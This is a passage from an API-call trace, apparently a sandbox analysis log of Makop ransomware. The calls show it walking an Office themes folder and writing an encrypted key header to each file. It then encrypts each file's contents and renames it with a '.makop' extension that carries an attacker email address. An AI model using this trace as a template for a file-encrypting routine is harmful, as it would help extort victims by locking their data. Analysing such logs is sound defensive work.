returned 1 [0097.839] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.840] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0097.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.840] GetProcessHeap () returned 0x48a0000 [0097.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.841] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.841] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.841] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.845] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.845] GetProcessHeap () returned 0x48a0000 [0097.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.845] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.845] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.845] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.846] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.846] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.846] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.846] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.846] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.847] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4c1d, lpOverlapped=0x0) returned 1 [0097.848] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c20) returned 1 [0097.849] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.849] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4c20, lpOverlapped=0x0) returned 1 [0097.849] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.849] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.849] SetEndOfFile (hFile=0x138) returned 1 [0097.856] GetProcessHeap () returned 0x48a0000 [0097.856] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.857] GetProcessHeap () returned 0x48a0000 [0097.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.857] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.858] CloseHandle (hObject=0x138) returned 1 [0097.858] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.858] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.859] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0097.859] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL") returned 63 [0097.859] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*") returned 67 [0097.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.861] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.861] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0097.861] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0097.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.863] GetProcessHeap () returned 0x48a0000 [0097.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.863] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.863] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.863] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0097.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.867] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.868] GetProcessHeap () returned 0x48a0000 [0097.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.868] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.868] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.868] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.868] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.868] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.868] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.869] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.869] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.869] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.869] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.869] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xba32, lpOverlapped=0x0) returned 1 [0097.872] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xba40, dwBufLen=0xba40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xba40) returned 1 [0097.873] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.873] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xba40, lpOverlapped=0x0) returned 1 [0097.873] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.873] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.873] SetEndOfFile (hFile=0x138) returned 1 [0097.881] GetProcessHeap () returned 0x48a0000 [0097.881] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.881] GetProcessHeap () returned 0x48a0000 [0097.881] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.882] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.883] CloseHandle (hObject=0x138) returned 1 [0097.883] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0097.883] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF") returned 75 [0097.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.884] GetProcessHeap () returned 0x48a0000 [0097.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.884] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.884] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.884] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.887] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.888] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.888] GetProcessHeap () returned 0x48a0000 [0097.888] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.888] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.888] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.888] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.888] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.888] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.888] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.889] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.889] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.889] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.889] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f3, lpOverlapped=0x0) returned 1 [0097.889] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x200) returned 1 [0097.890] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.890] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x200, lpOverlapped=0x0) returned 1 [0097.890] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.890] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.890] SetEndOfFile (hFile=0x138) returned 1 [0097.896] GetProcessHeap () returned 0x48a0000 [0097.896] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.897] GetProcessHeap () returned 0x48a0000 [0097.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.897] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.914] CloseHandle (hObject=0x138) returned 1 [0097.914] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.915] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0097.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.915] GetProcessHeap () returned 0x48a0000 [0097.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.915] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.915] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.916] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.916] GetProcessHeap () returned 0x48a0000 [0097.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.916] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.916] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.916] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.920] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.920] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.920] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.921] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.921] WriteFile (in: hFile=0x138, 